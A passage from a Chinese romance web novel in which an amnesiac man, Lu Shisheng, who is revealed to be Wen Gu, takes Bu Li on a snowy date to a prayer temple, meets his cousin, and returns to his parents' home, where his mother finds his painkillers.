出发前,沈思筝把车钥匙交给了陆时生,自己打车回家了。 车子平稳地在路上行驶,陆时生不是第一次开这辆车了,他想起之前阴差阳错地给沈思筝当了代驾的那天,他也是开着这辆车,当时就觉得极其顺手,像是遇到了多年未见的老朋友。 陆时生随手点开了音乐,舒缓的曲子环绕四周,宛若深陷梦境。 步梨在家早早就收拾好了,等陆时生过来。 宋涵云看着她又是描眉画眼,又是挑选衣服,就知道她要去干嘛。 “下午有约?” “小陆?” 步梨朝她笑了笑,“换人了,不是陆时生了。” 宋涵云一愣,“换、换人了?” 宋涵云真心觉得小陆挺好,条件虽然差了点,但绝对是老实靠谱的孩子,反倒是她养了二十多年的闺女让她有点怀疑人生,对象怎么可以说换就换。“香瓜啊,你这是无缝衔接?” 这时步梨收到陆时生的消息,“我到了。” “当然不是,名字改了而已,改天我叫他来家里吃饭。”她背了包,朝宋涵云眨了眨眼,欢喜地出了门。 宋涵云在门口站了会儿,没明白她的意思。 56. 步梨,我们约会吧 天阴沉沉的,天气预报说晚上会下雪,但天色还没暗,细碎的雪花就开始飘了下来,打在车窗上发出细微的声音。 车里暖烘烘的,步梨坐在副驾驶,悄悄看了眼陆时生。 他今日的打扮和平时明显不同,精致得连根头发都一丝不苟,全身上下都像在发光,步梨看完迅速收回目光,心里感叹曾经只在神话里出现的人物,现在他们竟然以这种方式相遇了。 “怎么了?” 陆时生看她。 步梨笑了笑,问:“现在是开始约会了吗?” 陆时生也不是和步梨第一次出来,但这次却莫名地紧张,还认真地问了句,“可以吗?” 步梨笑出声,“这个问题要问的话,不应该在我出门之前就问吗?现在我都上了车,还有反悔的机会?” “补个流程。”陆时生道。 步梨道:“是思筝给你推荐的祈福庙吗?听说里面有一棵大树,思筝和她男朋友也去过,还在树上挂了许愿牌。” 陆时生道:“那我们也去挂,很灵的。” “很灵吗?”步梨头一回知道陆时生原来这么迷信。 “那是爱情树,相传是一对恩爱的夫妻种下的,丈夫出征作战十年未归,他的战友回乡后和女子说她的丈夫战死沙场了,女子不相信,天天在树下等她的丈夫,结果真的等来了。” 步梨皱着眉问:“你从哪里听的这个故事?” “忘了。”陆时生觉得奇怪,他脑子里自己冒出了这个故事,“可能是温故在哪里看到的。” 步梨噗嗤一笑,“思筝说温故就喜欢看些奇奇怪怪的话本。” 陆时生扯了扯嘴角,“这故事不对?” 步梨道:“那是万寿树,相传是一名神医死后所化,保佑周围人平安健康的。” 陆时生觉得人死后化成树的故事还没他那个靠谱,但不是爱情树也没关系,他也要祈求和步梨生生世世在一起,只有如此,他才能平安健康。 祈福庙位于城南,逢年过节的时候这边会有夜市,现在这种普通的日子,只有零零散散几个小摊杵在路边。 天气很冷,雪也越来越密,步梨下车时打了个哆嗦,陆时生把他的围巾解下来围在了她的脖子上,他见不远处有个烤红薯的摊子,便过去买了两个,让步梨捧着捂捂手。 见来了客人,买红薯的大爷掸了下军帽上的雪花,从车上跳下来,从烤炉里掏出两个热乎烤红薯,用纸袋包好,递过来。 “八块,扫码就行嗷。” 陆时生正掏着手机,忽的感受到一股炙热的目光,抬眼见卖红薯的大爷正若有所思地看着他,嘶了一声说道:“小伙子,我看你有点眼熟啊。” 大爷盯了他一会儿,啧啧道:“你又带着姑娘大雪天来买红薯。” 陆时生手一僵,“我来过?” “我眼力好记性也好,你和那姑娘长得俊,我记得可清楚了,不过这姑娘看着眼生,好像不是上次......”大爷看了眼步梨,将剩下的话咽下。 “大爷,天冷,卖完红薯早点回家吧。”陆时生挤出一个笑,咬着牙把钱给大爷转了过去。 步梨淡定地接过烤红薯,捧在手里顿时暖和了很多。 两人从祈福庙的门口进去,顺着红墙一路往里,最里面的院子,一颗足足有三人粗的大树立在中间,枝桠上落了雪。树旁的围栏上系着很多红绳,上面有木牌,寄存着许许多多的愿望。 陆时生在旁边的工作室买了一块木牌,喊步梨过来一块写时,她正绕着围栏寻找什么。 她在专心致志地找沈思筝和尚宁洲的木牌,陆时生喊了她两声,她才回过神来,慢吞吞地过去写字。 “写什么?”她问。 陆时生道:“写我们两个。” 步梨迟迟没有落笔,她想到刚才看的那些木牌上,很多写着“XXX爱XXX一辈子。” “海枯石烂,海誓山盟......” 她觉得怪肉麻的,实在写不出来,便将笔交给了陆时生,“还是你来写吧。” 陆时生犹豫了下,接过笔,在木牌上写了八个字,“不离不弃,步步高升。” 他把木牌仔细挂好,觉得步梨有些心不在焉。 “怎么了?”他开口问。 步梨想了想,直接道:“我在想,你以前应该也谈过恋爱吧?” 陆时生的情史她有所耳闻,但温故的情史她可是一概不知,温故那么优秀的人,身边往往围着很多女生。 没准失忆前他和别的姑娘亲过抱过,又或者定了亲,只是他现在忘了,而那个姑娘可能还在找他。 陆时生摸了摸耳朵,“不会吧,我一点儿印象都没有。” 步梨怒了怒嘴,“说不定,过几天你回到温家的事情传出去,就有位姑娘来找你,说是你的未婚妻。” 陆时生笑,“那不是你吗?” 步梨忽然觉得自己好像想多了,她和陆时生都不了解温故的过去,所以才对未知有几分恐惧,但仔细想想,温故若是有女朋友,沈思筝肯定第一时间告诉她的。 她在紧张什么? 陆时生成为温故之后,她在他身边好像总是会不由自主地紧张。 步梨让自己放松下来,笑了下,“开个玩笑。” “香瓜!” 身后有人喊她。 沈思筝小跑着过来,身后还跟了一个男人。 步梨惊喜,“你们怎么来了?” “我来这里还愿的,知道你们也在这儿,顺带来找你们啊。”沈思筝拉了下尚宁洲,向陆时生介绍道:“我老公,你的妹夫,尚宁洲,你俩之前见过的。” “温哥,真的是你?”尚宁洲眼里涌起不可思议,笑了笑说道,“思筝跟我说你回来了,我还不太相信,原来是真的。” 陆时生看了眼对面的男人,长相很清秀,看着挺乖,虽然不认识,但他身上的气质很温和,让人觉得舒服。 他朝尚宁洲点头笑了下,解释道:“我忘了一些事。” 尚宁洲道:“思筝和我说了,慢慢来,会想起来的。” 陆时生觉得尚宁洲比他表妹稳重不少。 沈思筝看着步梨手里的红薯,两眼放光,肚子开始咕噜噜叫,“烤红薯?我也想吃!” 她拽了拽尚宁洲。 步梨笑道:“停车场旁边就有卖,我带你去。” 四个人到的时候,烤红薯的大爷正准备收摊回家呢,见陆时生和步梨又回来了,大爷正要说什么,眼神一扫,见到身后多了两个新人。 大爷指着沈思筝惊讶道:“诶诶诶,这姑娘不就是上次跟你一块来的吗?” 陆时生很快明白过来,原来之前大爷看见的他带着一个姑娘来买红薯,说的是沈思筝。 他心里轻松起来,拍了怕沈思筝的肩膀,介绍道:“这是我表妹。” 沈思筝有些惊讶,自从温故回来,对她一直客客气气的,沈思筝还因为这种疏远有些失落,现在温故居然靠近她,拍了拍她的肩膀。 这动作大概形成了肌肉记忆,不经意间就做了出来。 沈思筝笑眯眯地朝大爷打了个招呼,她也记得这位大爷,上次她和温故一起来,就是在这里买的烤红薯。 当时和现在一样下了雪,只是当年的雪更大,是鹅毛大雪,大爷的红薯摊都要被雪压垮了。 现在想想,那是她和温故最后一次出去玩,那次过后,温故被紧急召回,一去不归,这一别就是七年。 买完红薯,几人在周边走了走,雪越来越大,起了风,卷着冰凉的雪花生生往人脖子里闯,冻得人受不了,只想赶紧回车里躲起来。 几人不约而同地快步往停车场走去。 陆时生忽然停住脚步,这种冰冷的触感让他生出了一种异样的感觉,想去触碰,却又觉得惊恐,冷风从衣领灌进去,撞得人窒息。 他似乎在哪感受过这样的冷。 只不过当时比现在要冷上一千倍一万倍,厚重的雪压上来,他浑身僵硬,连动一根手指都难如登天。 到底发生了什么? 他头有些痛。 步梨察觉他没走,也停住脚步,担心地问:“怎么了?是?腿又疼了吗?” 沈思筝惊讶,“你经常腿疼吗?” “没事。”陆时生道。 步梨帮他说道:“他经常腿疼,尤其是到了下雨下雪的天气,应该是当年出事留下的后遗症。” 沈思筝想了想说:“明天我帮你约一个体检。” “不是腿疼。”陆时生的手狠狠抓住胸口处,重重咳了两声,才觉得呼吸顺畅了些,“缓缓就好了,就是讨厌下雪天。” 这么多年,他为什么讨厌冬天,或者说是害怕冬天,在这一刻茅塞顿开。 虽然他忘了,但身体还记得,那时濒临死亡的恐惧。 步梨望着她,想着他被雪崩掩埋的时候,一定很冷很难受,所以才讨厌下雪。 她缓缓握住陆时生的手,他的手很大,指节很长,又凉凉的没有温度,握着像是冰冷的骨头。 步梨握得近了些,过了会儿,她觉得那只手渐渐有了温度。 “快到停车场了,进了车里就暖和了。” 沈思筝原本担心,见到这番情景,又欣慰地觉得她这个一直孤寡的表哥现在也有人关心了。 她放心地拉着尚宁洲走了。 停车场里。 沈思筝和尚宁洲来时开的车就停在他们旁边。 几人分别上了车,尚宁洲的车子已经开远了,陆时生却迟迟没动。 暖风开了有一会儿,步梨以为陆时生还没缓过来,便说她来开车,带他去医院看看。 陆时生摇了摇头,在位置上坐了一会儿,他觉得这次出来,步梨好像对他疏远了些,沉默片刻后,他转头,压低了声音对步梨说道:“是不是在担心我之前的事?” “等我回去后,会和他们问清楚,关于我之前有没有......”他抿了抿嘴,“女朋友。” “不过我觉得应该没有,就算有,也应该是你。” 步梨笑了声,“怎么可能?” 陆时生认真道:“你忘了那张证件照了,不然我怎么会有。” 步梨现在知道那张证件照是怎么回事了,那是她之前夹在了书的内页,被温故借过去看时,可能掉了出来。 见她不说话,陆时生又说:“步梨,我会问清楚的。” 他眼神好像藏了些委屈,步梨心里一紧,说实话她这次和陆时生出来,确实有些局促,原因不是因为担心他过往有什么情史。 从小到大,她虽然没怎么见过温故本人,但在同学老师的话语里,温故是经常出现的人物。沈思筝也会偶尔和他讲,当然她嘴里就没什么好话了。 可在步梨的印象里,温故一直是神级的人物。江北一中的校草,唯一一个连续三年蝉联奥数第一的人,后来直接保送至江大数学系。就像沈思筝说得那样,她天生对学霸带有滤镜,由衷的钦佩与羡慕。 更重要的事,她是阴差阳错受到他的鼓励,才坚定地走上艺术的道路,步梨在内心深处一直将他放在很高的位置。 她笑了笑,真诚地说道:“是有点,感觉你是站在神坛上的人,看你就像隔了层纱。” 陆时生一愣。 这话里的人物位置应该反过来才是。 陆时生没说话,开始慢慢解衬衫的扣子。 “把手给我。” 步梨不知道他要做什么, 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外面飘起鹅毛大雪,形成一道天然的帘帐,窗上结了雾,车内暖气蒸腾,周围的灯光变换着,像火苗一样跳动。 步梨有些喘不开气,直到一个忍耐的极点,她推开陆时生,身子回到座位上坐好,还飞速地系上了安全带。 “还有一个问题。” 她理了理头发,问:“我以后叫你陆时生,还是温故。” 陆时生发动了车子,“都行吧,不过我不太习惯温故这个名字,你叫我这个我可能反应不过来。” “我是温故,也是陆时生,”陆时生侧目望过来,“是你从花溪镇捡回来的陆时生。” 车里安静片刻。 步梨笑了笑,开着玩笑道:“不如你改名,叫温时生。” ... 晚上,一块吃了晚饭后,陆时生送了步梨回家。 从前宋涵云总喜欢唠叨她多去相亲,但现在知道步梨出去约会,她反倒担心起来,晚上八点钟见步梨还没回来,连着给她发了好几条信息。 等步梨一回家,就开始问东问西。 步梨随意应付了几句,转而问道:“妈,你认识温故吗?” 宋涵云一愣,不知她怎么突然提起这个。 “自从你外婆过来住,倒是和温家见过几次,但温故那孩子不是七年前就出了意外?听说是个好孩子,真实可惜啊。” 步梨道:“我也听说他之前学习又好,长得又帅,是很多女生的梦中情人。” 宋涵云疑惑,“说这些干嘛?” “这么好的人,”步梨拉着长音,笑了笑,“我非他不嫁。” 宋涵云嗓子一噎,手里的葡萄差点滚下去。 ... 温家这边,自从陆时生出门,叶澜一直就在客厅等他回来。 她生怕白天是一场梦,他走了以后,就像上次一样,再也不回来。 悬着的心一直到陆时生回来,才放了下来。 陆时生进门时,试了一下自己的指纹,锁居然开了。 他没想到能打开门,有些惊讶。 叶澜早早就把他的房间收拾了出来,陆时生回来后,简单洗漱后,去睡在了他之前的卧室。 房间宽敞干净,灯光柔和,映得四周明亮又温馨。 陆时生关了门,在书桌前坐了会儿,相框里是他的照片,抽屉里放了些文件,有他大学的录取通知书,江北大学数学系,温故。 还有几本书,陆时生奇怪地记得书里的内容,是一个复仇的故事,只是想不起自己什么时候看过,翻开来看,内页里果然有标记,是他的字迹。 看来他确实是这个房间的主人。 陆时生终于确定了这件事。 他发了会儿呆,大脑放空了一会儿,回到比梦还不真实的现实。 时针指向11点,陆时生换上了叶澜拿过来的睡衣,面料是真丝的,贴肤柔软。 床垫很有弹性,躺上去很舒服,□□燥温暖的被子包裹,陆时生很快睡着了。 叶澜悄悄进来看他,不小心碰到了椅子,发出一阵声响,陆时生也没醒。 见他睡熟了,叶澜松了口气,轻轻坐在床边看了他很久才依依不舍地离去。 她轻手轻脚地出了门,将陆时生的衣服放到了洗衣房,一瓶白色的药瓶掉了出来,她捡起来看到上面的字,是止疼药。 叶澜瞬间觉得心里狠狠地揪着疼,她愣了好久才回到房间,温宋元正在看书,她将那瓶止疼药拿给温宋元看,哭着道:“也不知道这孩子经历了什么,问他也不说,只说很好。” 温宋元安慰道:“能在那种地方捡回一条命,已经是万幸了。等明天,我们带他去医院检查检查,看看他身上还有没有什么伤。” “思筝偷偷跟我说过了,小新之前过得很苦,也没什么钱,每天就是靠着做木工送快递赚钱生活费,手都磨出茧子了,之前收留他的陆先生患病去世,治疗的时候借了好多钱,小新每天都省吃俭用,连件新衣服都舍不得买。”叶澜失落地坐下,“我怎么也没想到会是这样,现在他回来了,看咱们俩的眼神,就像是在看陌生人,客客气气的。” 温宋元放下书,从身后搂住叶澜,安慰道:“他只是失忆了,以后会慢慢想起来的,总比没了命好。” 叶澜点点头,“这可惜爸没见到小新最后一面,要是再早一天就好了。” 温宋元身子一颤,苦笑着开了句玩笑,“老爷子一直说要去下面见孙子,怕是也找不着了。” “我总觉得不真实,我得再去看看。”叶澜说着起身又要过去。 温宋元叫住她,“儿子刚回来,对我们都还很陌生,还是给他点自己空间吧。” 叶澜想了想,点点头。